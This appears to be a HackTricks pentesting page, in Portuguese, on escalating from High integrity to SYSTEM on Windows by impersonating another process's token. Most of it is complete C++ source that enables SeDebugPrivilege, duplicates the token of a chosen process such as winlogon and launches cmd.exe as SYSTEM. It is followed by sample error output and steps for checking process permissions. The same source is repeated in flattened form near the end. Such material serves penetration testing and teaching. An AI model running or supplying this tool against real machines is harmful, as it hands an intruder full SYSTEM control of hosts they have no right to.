SeImpersonate from High To System

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Código

O seguinte código é de aqui. Ele permite indicar um ID de Processo como argumento e um CMD executando como o usuário do processo indicado será executado. Executando em um processo de Alta Integridade, você pode indicar o PID de um processo executando como Sistema (como winlogon, wininit) e executar um cmd.exe como sistema.

impersonateuser.exe 1234

impersonateuser.cpp

// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}

Erro

Em algumas ocasiões, você pode tentar se passar pelo System e não funcionará, mostrando uma saída como a seguinte:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

Isso significa que mesmo que você esteja executando em um nível de Alta Integridade você não tem permissões suficientes. Vamos verificar as permissões atuais de Administrador sobre os processos svchost.exe com processes explorer (ou você também pode usar process hacker):

Selecione um processo de svchost.exe
Clique com o botão direito --> Propriedades
Dentro da aba "Segurança", clique no botão "Permissões" no canto inferior direito
Clique em "Avançado"
Selecione "Administradores" e clique em "Editar"
Clique em "Mostrar permissões avançadas"

A imagem anterior contém todos os privilégios que "Administradores" têm sobre o processo selecionado (como você pode ver, no caso de svchost.exe, eles têm apenas privilégios de "Consulta")

Veja os privilégios que "Administradores" têm sobre winlogon.exe:

Dentro desse processo, "Administradores" podem "Ler Memória" e "Ler Permissões", o que provavelmente permite que os Administradores imitem o token usado por esse processo.

Support HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
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PreviousSeDebug + SeImpersonate copy token NextWindows C Payloads

Last updated 4 months ago

// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 #include <windows.h> #include <iostream> #include <Lmcons.h> BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; }

[+] OpenProcess() success! [+] OpenProcessToken() success! [-] ImpersonatedLoggedOnUser() Return Code: 1 [-] ImpersonatedLoggedOnUser() Error: 5 [-] DuplicateTokenEx() Return Code: 0 [-] DupicateTokenEx() Error: 5 [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326